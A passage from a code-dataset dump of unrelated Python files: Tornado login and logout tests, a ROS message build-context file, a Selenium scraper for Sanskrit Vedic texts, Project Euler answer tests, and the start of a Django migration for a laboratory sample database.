follow_redirects=False, ) assert "email or password is None" in response.body.decode("utf-8") async def test_login_fail_no_user(http_server_client): body = {"email": "boo@hoo.com", "password": "54321", "submit": "login"} headers = { "Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain", } response = await http_server_client.fetch( "/login", headers=headers, method="POST", body=urllib.parse.urlencode(body), follow_redirects=False, ) assert "email or password incorrect" in response.body.decode("utf-8") async def test_home_page(http_server_client): body = urllib.parse.urlencode( {"email": "boo@hoo.com", "password": "12345", "submit": "login"} ) headers = { "Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain", } try: await http_server_client.fetch( "/login", headers=headers, method="POST", body=body, follow_redirects=False, ) except HTTPClientError as ex: print(ex.response.headers) cookie = ex.response.headers["Set-Cookie"] assert ex.code == 302 resp = await http_server_client.fetch("/", headers={"Cookie": cookie}) assert resp.code == 200 async def test_logout(http_server_client): body = urllib.parse.urlencode( {"email": "boo@hoo.com", "password": "12345", "submit": "login"} ) headers = { "Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain", } try: await http_server_client.fetch( "/login", headers=headers, method="POST", body=body, follow_redirects=False, ) except HTTPClientError as ex: print(ex.response.headers) cookie = ex.response.headers["Set-Cookie"] assert ex.code == 302 resp = await http_server_client.fetch("/", headers={"Cookie": cookie}) assert resp.code == 200 try: await http_server_client.fetch( "/logout", headers=headers, method="GET", follow_redirects=False ) except HTTPClientError as ex: print(ex.response.headers) cookie = ex.response.headers["Set-Cookie"] assert cookie.startswith('liteblue-app-user="";') assert ex.code == 302 async def test_public_access(no_login_url, http_server_client): """ test without login_url """ resp = await http_server_client.fetch("/") assert resp.code == 200

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a341beb68678556c3aff7678653b09cccf9da48f

2,675

py

Python

build/ros/common_msgs/geometry_msgs/cmake/geometry_msgs-genmsg-context.py

hyu-nani/ydlidar_ws

56316db999c057c4315a20ba8277826d6a043120

[ "MIT" ]

1

2021-11-08T12:24:24.000Z

build/ros/common_msgs/geometry_msgs/cmake/geometry_msgs-genmsg-context.py

hyu-nani/ydlidar_ws

56316db999c057c4315a20ba8277826d6a043120

[ "MIT" ]

null

build/ros/common_msgs/geometry_msgs/cmake/geometry_msgs-genmsg-context.py

hyu-nani/ydlidar_ws

56316db999c057c4315a20ba8277826d6a043120

[ "MIT" ]

null

# generated from genmsg/cmake/pkg-genmsg.context.in messages_str = "/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/Accel.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/AccelStamped.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/AccelWithCovariance.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/AccelWithCovarianceStamped.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/Inertia.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/InertiaStamped.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/Point.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/Point32.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/PointStamped.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/Polygon.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/PolygonStamped.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/Pose2D.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/Pose.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/PoseArray.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/PoseStamped.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/PoseWithCovariance.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/PoseWithCovarianceStamped.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/Quaternion.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/QuaternionStamped.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/Transform.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/TransformStamped.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/Twist.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/TwistStamped.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/TwistWithCovariance.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/TwistWithCovarianceStamped.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/Vector3.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/Vector3Stamped.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/Wrench.msg;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg/WrenchStamped.msg" services_str = "" pkg_name = "geometry_msgs" dependencies_str = "std_msgs" langs = "gencpp;genlisp;genpy" dep_include_paths_str = "geometry_msgs;/home/pls/ydlidar_ws/src/ros/common_msgs/geometry_msgs/msg;std_msgs;/usr/share/std_msgs/cmake/../msg" PYTHON_EXECUTABLE = "/usr/bin/python3" package_has_static_sources = '' == 'TRUE' genmsg_check_deps_script = "/usr/lib/genmsg/genmsg_check_deps.py"

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a348e693fafe80e9418495d3dbcc2e9d576fb160

58

py

Python

cosfs/__init__.py

Panxing4game/cosfs

cd37b5accd6aa14cb60d71a691f615e22c31c4a0

[ "Apache-2.0" ]

null

cosfs/__init__.py

Panxing4game/cosfs

cd37b5accd6aa14cb60d71a691f615e22c31c4a0

[ "Apache-2.0" ]

1

2021-12-09T07:39:58.000Z

2021-12-10T01:45:34.000Z

cosfs/__init__.py

Panxing4game/cosfs

cd37b5accd6aa14cb60d71a691f615e22c31c4a0

[ "Apache-2.0" ]

null

from .core import COSFileSystem from .core import COSFile

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7

a3954c745eb1029d3dd1df5c75c8e1f705c2152a

6,056

py

Python

curation_projects/veda/paraankusha.py

lalitaalaalitah/doc_curation

d26072dc5afd645019788b4844058da5d0c63ebe

[ "MIT" ]

7

2020-04-25T08:55:55.000Z

2020-12-21T05:31:00.000Z

curation_projects/veda/paraankusha.py

lalitaalaalitah/doc_curation

d26072dc5afd645019788b4844058da5d0c63ebe

[ "MIT" ]

15

2020-04-25T08:31:42.000Z

2021-07-24T12:23:42.000Z

curation_projects/veda/paraankusha.py

lalitaalaalitah/doc_curation

d26072dc5afd645019788b4844058da5d0c63ebe

[ "MIT" ]

4

2020-04-25T06:28:37.000Z

2020-12-19T21:30:10.000Z

import logging import os import sys import traceback from selenium.common.exceptions import NoSuchElementException from doc_curation import text_data, md_helper from doc_curation.scraping import parankusha def get_taittiriiya(browser): # parankusha.click_link_by_text(browser=browser, element_text="मूलपाठः") # get_text(browser=browser, text_id="पदपाठः", base_dir="/home/vvasuki/sanskrit/raw_etexts/veda/taittirIya/padapAThaH/saMhitA", unit_info_file=os.path.join(os.path.dirname(text_data.__file__), "veda/taittirIya/mUlam/saMhitA.json")) # get_text(browser=browser, text_id="क्रमपाठः", base_dir="/home/vvasuki/sanskrit/raw_etexts/veda/taittirIya/kramapAThaH/saMhitA", unit_info_file=os.path.join(os.path.dirname(text_data.__file__), "veda/taittirIya/mUlam/saMhitA.json")) # get_text(browser=browser, text_id="संहितायाः भट्टभास्करभाष्यम्", base_dir="/home/vvasuki/sanskrit/raw_etexts/veda/taittirIya/bhaTTa-bhAskara/saMhitA", unit_info_file=os.path.join(os.path.dirname(text_data.__file__), "veda/taittirIya/bhAShya/bhaTTa-bhAskara/saMhitA.json")) # get_text(browser=browser, text_id="संहितायाः सायणभाष्यम्", base_dir="/home/vvasuki/sanskrit/raw_etexts/veda/taittirIya/sAyaNa/saMhitA", unit_info_file=os.path.join(os.path.dirname(text_data.__file__), "veda/taittirIya/bhAShya/bhaTTa-bhAskara/saMhitA.json")) # get_text(browser=browser, text_id="संहिता", base_dir="/home/vvasuki/sanskrit/raw_etexts/veda/taittirIya/mUlam/saMhitA", unit_info_file=os.path.join(os.path.dirname(text_data.__file__), "veda/taittirIya/mUlam/saMhitA.json")) parankusha.get_structured_text(browser=browser, start_nodes=["विद्यास्थानानि", "वेदाः", "यजुर्वेदः", "कृष्णयजुर्वेदः", "भाष्यम्", "भट्टभास्करभाष्यम्", "ब्राह्मणस्य भट्टभास्करभाष्यम्", "expand:ब्राह्मणस्य भट्टभास्करभाष्यम्"], base_dir="/home/vvasuki/vvasuki-git/saMskAra/content/sangrahaH/taittirIyA/brAhmaNam/bhaTTa-bhAskara-bhAShyam", unit_info_file=os.path.join(os.path.dirname(text_data.__file__), "vedaH/taittirIya/bhAShya/bhaTTa-bhAskara/brAhmaNa.json")) # get_text(browser=browser, text_id="ब्राह्मणम्", base_dir="/home/vvasuki/sanskrit/raw_etexts/veda/taittirIya/mUlam/brAhmaNam", unit_info_file=os.path.join(os.path.dirname(text_data.__file__), "veda/taittirIya/mUlam/brAhmaNa.json")) # get_text(browser=browser, text_id="ब्राह्मणस्य सायणभाष्यम्", base_dir="/home/vvasuki/sanskrit/raw_etexts/veda/taittirIya/sAyaNa/brAhmaNam/", unit_info_file=os.path.join(os.path.dirname(text_data.__file__), "veda/taittirIya/bhAShya/bhaTTa-bhAskara/brAhmaNa.json")) # get_text(browser=browser, text_id="आरण्यकम्", base_dir="/home/vvasuki/sanskrit/raw_etexts/veda/taittirIya/mUlam/AraNyakam", unit_info_file=os.path.join(os.path.dirname(text_data.__file__), "veda/taittirIya/mUlam/AraNyaka.json")) # get_text(browser=browser, text_id="आरण्यकस्य भट्टभास्करभाष्यम्", base_dir="/home/vvasuki/sanskrit/raw_etexts/veda/taittirIya/bhaTTa-bhAskara/AraNyakam/", unit_info_file=os.path.join(os.path.dirname(text_data.__file__), "veda/taittirIya/bhAShya/bhaTTa-bhAskara/AraNyaka.json")) # get_text(browser=browser, text_id="आरण्यकस्य सायणभाष्यम्", base_dir="/home/vvasuki/sanskrit/raw_etexts/veda/taittirIya/sAyaNa/AraNyakam/", unit_info_file=os.path.join(os.path.dirname(text_data.__file__), "veda/taittirIya/bhAShya/bhaTTa-bhAskara/AraNyaka.json")) # get_text(browser=browser, text_id="काठकम्", base_dir="/home/vvasuki/sanskrit/raw_etexts/veda/taittirIya/mUlam/kAThakam", unit_info_file=os.path.join(os.path.dirname(text_data.__file__), "veda/taittirIya/mUlam/kAThaka.json")) # get_text(browser=browser, text_id="काठकस्य भट्टभास्करभाष्यम्", base_dir="/home/vvasuki/sanskrit/raw_etexts/veda/taittirIya/bhaTTa-bhAskara/kAThakam/", unit_info_file=os.path.join(os.path.dirname(text_data.__file__), "veda/taittirIya/bhAShya/bhaTTa-bhAskara/kAThaka.json")) # def get_rv(): # # get_text(browser=browser, text_id="क्रमपाठः", base_dir="/home/vvasuki/sanskrit/raw_etexts/veda/shakala/kramapAThaH/saMhitA", unit_info_file=os.path.join(os.path.dirname(text_data.__file__), "veda/shakala/saMhitA.json")) # # get_text(browser=browser, text_id="पदपाठः", base_dir="/home/vvasuki/sanskrit/raw_etexts/veda/shakala/padapAThaH/saMhitA", unit_info_file=os.path.join(os.path.dirname(text_data.__file__), "veda/shakala/saMhitA.json")) # # get_text(browser=browser, text_id="ब्राह्मणम्", base_dir="/home/vvasuki/sanskrit/raw_etexts/veda/shakala/brAhmaNam", unit_info_file=os.path.join(os.path.dirname(text_data.__file__), "veda/shakala/brAhmaNam.json")) # # get_text(browser=browser, text_id="आरण्यकम्", base_dir="/home/vvasuki/sanskrit/raw_etexts/veda/shakala/AraNyakam", unit_info_file=os.path.join(os.path.dirname(text_data.__file__), "veda/shakala/AraNyakam.json")) # # # def get_kauthuma(): # parankusha.click_link_by_text(browser=browser, element_text="ऋग्वेदः") # parankusha.click_link_by_text(browser=browser, element_text="यजुर्वेदः") # # get_text(browser=browser, text_id="संहिता", base_dir="/home/vvasuki/sanskrit/raw_etexts/veda/kauthuma/saMhitA", unit_info_file=os.path.join(os.path.dirname(text_data.__file__), "veda/kauthuma/saMhitA.json")) # # get_text(browser=browser, text_id="छन्दःपदम्", base_dir="/home/vvasuki/sanskrit/raw_etexts/veda/kauthuma/ChandaHpadam", unit_info_file=os.path.join(os.path.dirname(text_data.__file__), "veda/kauthuma/ChandaHpadam.json")) # get_text(browser=browser, text_id="स्तोभपदम्", base_dir="/home/vvasuki/sanskrit/raw_etexts/veda/kauthuma/stobhapadam", unit_info_file=os.path.join(os.path.dirname(text_data.__file__), "veda/kauthuma/stobhapadam.json")) # # get_text(browser=browser, text_id="रहस्यगानम्", base_dir="/home/vvasuki/sanskrit/raw_etexts/veda/kauthuma/rahasyagAnam", unit_info_file=os.path.join(os.path.dirname(text_data.__file__), "veda/kauthuma/rahasyagAnam.json")) if __name__ == '__main__': browser = parankusha.get_logged_in_browser(headless=False) get_taittiriiya(browser=browser) # get_rv() # get_kauthuma() # browser.implicitly_wait(13) browser.close()

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null

0

1

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11

6e5f5124411f1478a7d23c9e37403e05b55ee90f

1,709

py

Python

projecteuler/problems/tests/test_problems_0051_0100.py

Tenebrar/codebase

59c9a35289fb29afedad0e3edd0519b67372ef9f

[ "Unlicense" ]

1

2020-04-21T11:39:25.000Z

projecteuler/problems/tests/test_problems_0051_0100.py

Tenebrar/codebase

59c9a35289fb29afedad0e3edd0519b67372ef9f

[ "Unlicense" ]

7

2020-02-12T01:08:01.000Z

2022-02-10T11:56:56.000Z

projecteuler/problems/tests/test_problems_0051_0100.py

Tenebrar/codebase

59c9a35289fb29afedad0e3edd0519b67372ef9f

[ "Unlicense" ]

null

from projecteuler.problems.problems_0051_0100.problem_0051_prime_digit_replacements import problem_0051 from projecteuler.problems.problems_0051_0100.problem_0052_permuted_multiples import problem_0052 from projecteuler.problems.problems_0051_0100.problem_0053_combinatoric_selections import problem_0053 from projecteuler.problems.problems_0051_0100.problem_0054_poker_hands import problem_0054 from projecteuler.problems.problems_0051_0100.problem_0055_lychrel_numbers import problem_0055 from projecteuler.problems.problems_0051_0100.problem_0056_powerful_digit_sum import problem_0056 from projecteuler.problems.problems_0051_0100.problem_0057_square_root_convergents import problem_0057 from projecteuler.problems.problems_0051_0100.problem_0058_spiral_primes import problem_0058 from projecteuler.problems.problems_0051_0100.problem_0059_xor_decryption import problem_0059 from projecteuler.problems.problems_0051_0100.problem_0063_powerful_digit_counts import problem_0063 def test_problem_0051(): assert problem_0051(6) == 13 assert problem_0051(7) == 56003 assert problem_0051(8) == 121313 def test_problem_0052(): assert problem_0052() == 142857 def test_problem_0053(): assert problem_0053() == 4075 def test_problem_0054(): assert problem_0054('p054_poker.txt') == 376 def test_problem_0055(): assert problem_0055(10000) == 249 def test_problem_0056(): assert problem_0056(100) == 972 def test_problem_0057(): assert problem_0057(1000) == 153 def test_problem_0058(): assert problem_0058(0.1) == 26241 def test_problem_0059(): assert problem_0059('p059_cipher.txt') == 129448 def test_problem_0063(): assert problem_0063() == 49

32.245283

103

0.829725

236

1,709

5.59322

0.271186

0.118182

0.181818

0.242424

0.356061

0

0.208089

0.102984

1,709

52

104

32.865385

0.652968

0

0.016969

0

0.375

1

0.3125

true

0

0.3125

0

0.625

0

null

0

1

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1

0

null

0

1

0

1

0

1

0

7

6e6e5dd3837aba85634a4c33712013b2a2d65014

132,264

py

Python

liliapi/migrations/0001_initial.py

USGS-WiM/liliservices

546b5709aaba237a478bd19c10cb162f6ce426dd

[ "CC0-1.0" ]

null

liliapi/migrations/0001_initial.py

USGS-WiM/liliservices

546b5709aaba237a478bd19c10cb162f6ce426dd

[ "CC0-1.0" ]

7

2020-01-29T19:53:33.000Z

2021-06-10T19:38:52.000Z

liliapi/migrations/0001_initial.py

USGS-WiM/liliservices

546b5709aaba237a478bd19c10cb162f6ce426dd

[ "CC0-1.0" ]

null

# Generated by Django 2.2.10 on 2020-02-18 15:37 import datetime from decimal import Decimal from django.conf import settings import django.core.validators from django.db import migrations, models import django.db.models.deletion import liliapi.models import simple_history.models class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='AnalysisBatch', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('name', models.CharField(max_length=128, unique=True)), ('analysis_batch_description', models.CharField(blank=True, max_length=128)), ('analysis_batch_notes', models.CharField(blank=True, max_length=128)), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='analysisbatch_creator', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='analysisbatch_modifier', to=settings.AUTH_USER_MODEL)), ], options={ 'verbose_name_plural': 'analysisbatches', 'db_table': 'lili_analysisbatch', }, ), migrations.CreateModel( name='ConcentrationType', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('name', models.CharField(max_length=128, unique=True)), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='concentrationtype_creator', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='concentrationtype_modifier', to=settings.AUTH_USER_MODEL)), ], options={ 'db_table': 'lili_concentrationtype', }, ), migrations.CreateModel( name='ExtractionBatch', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('re_extraction_notes', models.TextField(blank=True)), ('extraction_number', liliapi.models.NonnegativeIntegerField(validators=[django.core.validators.MinValueValidator(0)])), ('extraction_volume', liliapi.models.NonnegativeDecimalField2010(decimal_places=10, max_digits=20, validators=[django.core.validators.MinValueValidator(0)])), ('extraction_date', models.DateField(db_index=True, default=datetime.date.today)), ('pcr_date', models.DateField(db_index=True, default=datetime.date.today)), ('qpcr_template_volume', models.DecimalField(decimal_places=10, default=6, max_digits=20, validators=[django.core.validators.MinValueValidator(0)])), ('elution_volume', liliapi.models.NonzeroDecimalField2010(decimal_places=10, max_digits=20, validators=[django.core.validators.MinValueValidator(Decimal('1E-10'))])), ('sample_dilution_factor', liliapi.models.NonnegativeIntegerField(validators=[django.core.validators.MinValueValidator(0)])), ('qpcr_reaction_volume', models.DecimalField(decimal_places=10, default=20, max_digits=20, validators=[django.core.validators.MinValueValidator(Decimal('1E-10'))])), ('ext_pos_dna_cq_value', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('ext_pos_dna_invalid', models.BooleanField(default=True)), ('inh_pos_cq_value', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('analysis_batch', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='extractionbatches', to='liliapi.AnalysisBatch')), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='extractionbatch_creator', to=settings.AUTH_USER_MODEL)), ], options={ 'verbose_name_plural': 'extractionbatches', 'db_table': 'lili_extractionbatch', }, ), migrations.CreateModel( name='FilterType', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('name', models.CharField(max_length=128, unique=True)), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='filtertype_creator', to=settings.AUTH_USER_MODEL)), ], options={ 'db_table': 'lili_filtertype', }, ), migrations.CreateModel( name='Freezer', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('name', models.CharField(max_length=128, unique=True)), ('racks', liliapi.models.NonnegativeIntegerField(validators=[django.core.validators.MinValueValidator(0)])), ('boxes', liliapi.models.NonnegativeIntegerField(validators=[django.core.validators.MinValueValidator(0)])), ('rows', liliapi.models.NonnegativeIntegerField(validators=[django.core.validators.MinValueValidator(0)])), ('spots', liliapi.models.NonnegativeIntegerField(validators=[django.core.validators.MinValueValidator(0)])), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='freezer_creator', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='freezer_modifier', to=settings.AUTH_USER_MODEL)), ], options={ 'db_table': 'lili_freezer', }, ), migrations.CreateModel( name='Inhibition', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('inhibition_date', models.DateField(db_index=True, default=datetime.date.today)), ('cq_value', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('dilution_factor', models.IntegerField(blank=True, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='inhibition_creator', to=settings.AUTH_USER_MODEL)), ('extraction_batch', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='inhibitions', to='liliapi.ExtractionBatch')), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='inhibition_modifier', to=settings.AUTH_USER_MODEL)), ], options={ 'db_table': 'lili_inhibition', }, ), migrations.CreateModel( name='Matrix', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('name', models.CharField(max_length=128, unique=True)), ('code', models.CharField(max_length=128, unique=True)), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='matrix_creator', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='matrix_modifier', to=settings.AUTH_USER_MODEL)), ], options={ 'verbose_name_plural': 'matrices', 'db_table': 'lili_matrix', }, ), migrations.CreateModel( name='NucleicAcidType', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('name', models.CharField(max_length=128, unique=True)), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='nucleicacidtype_creator', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='nucleicacidtype_modifier', to=settings.AUTH_USER_MODEL)), ], options={ 'db_table': 'lili_nucleicacidtype', }, ), migrations.CreateModel( name='PCRReplicateBatch', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('replicate_number', liliapi.models.NonnegativeIntegerField(validators=[django.core.validators.MinValueValidator(0)])), ('notes', models.TextField(blank=True)), ('ext_neg_cq_value', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('ext_neg_gc_reaction', liliapi.models.NullableNonnegativeDecimalField120100(blank=True, decimal_places=100, max_digits=120, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('ext_neg_invalid', models.BooleanField(default=True)), ('rt_neg_cq_value', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('rt_neg_gc_reaction', liliapi.models.NullableNonnegativeDecimalField120100(blank=True, decimal_places=100, max_digits=120, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('rt_neg_invalid', models.BooleanField(default=True)), ('pcr_neg_cq_value', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('pcr_neg_gc_reaction', liliapi.models.NullableNonnegativeDecimalField120100(blank=True, decimal_places=100, max_digits=120, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('pcr_neg_invalid', models.BooleanField(default=True)), ('pcr_pos_cq_value', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('pcr_pos_gc_reaction', liliapi.models.NullableNonnegativeDecimalField120100(blank=True, decimal_places=100, max_digits=120, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('pcr_pos_invalid', models.BooleanField(default=True)), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='pcrreplicatebatch_creator', to=settings.AUTH_USER_MODEL)), ('extraction_batch', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='pcrreplicatebatches', to='liliapi.ExtractionBatch')), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='pcrreplicatebatch_modifier', to=settings.AUTH_USER_MODEL)), ('re_pcr', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, related_name='pcrreplicatebatches', to='liliapi.PCRReplicateBatch')), ], options={ 'verbose_name_plural': 'pcrreplicatebatches', 'db_table': 'lili_pcrreplicatebatch', }, ), migrations.CreateModel( name='RecordType', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('name', models.CharField(max_length=128, unique=True)), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='recordtype_creator', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='recordtype_modifier', to=settings.AUTH_USER_MODEL)), ], options={ 'db_table': 'lili_recordtype', }, ), migrations.CreateModel( name='ReverseTranscription', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('template_volume', models.DecimalField(decimal_places=10, default=8.6, max_digits=20, validators=[django.core.validators.MinValueValidator(0)])), ('reaction_volume', models.DecimalField(decimal_places=10, default=50, max_digits=20, validators=[django.core.validators.MinValueValidator(Decimal('1E-10'))])), ('rt_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('re_rt_notes', models.TextField(blank=True)), ('ext_pos_rna_rt_cq_value', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('ext_pos_rna_rt_invalid', models.BooleanField(default=True)), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='reversetranscription_creator', to=settings.AUTH_USER_MODEL)), ('extraction_batch', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='reversetranscriptions', to='liliapi.ExtractionBatch')), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='reversetranscription_modifier', to=settings.AUTH_USER_MODEL)), ('re_rt', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, related_name='reversetranscriptions', to='liliapi.ReverseTranscription')), ], options={ 'db_table': 'lili_reversetranscription', 'unique_together': {('extraction_batch', 're_rt')}, }, ), migrations.CreateModel( name='Sample', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('study_site_name', models.CharField(blank=True, max_length=128)), ('collaborator_sample_id', models.CharField(max_length=128, unique=True)), ('sampler_name', models.CharField(blank=True, max_length=128)), ('sample_notes', models.TextField(blank=True)), ('sample_description', models.TextField(blank=True)), ('arrival_date', models.DateField(blank=True, null=True)), ('arrival_notes', models.TextField(blank=True)), ('collection_start_date', models.DateField(db_index=True)), ('collection_start_time', models.TimeField(blank=True, null=True)), ('collection_end_date', models.DateField(blank=True, null=True)), ('collection_end_time', models.TimeField(blank=True, null=True)), ('meter_reading_initial', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('meter_reading_final', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('total_volume_sampled_initial', 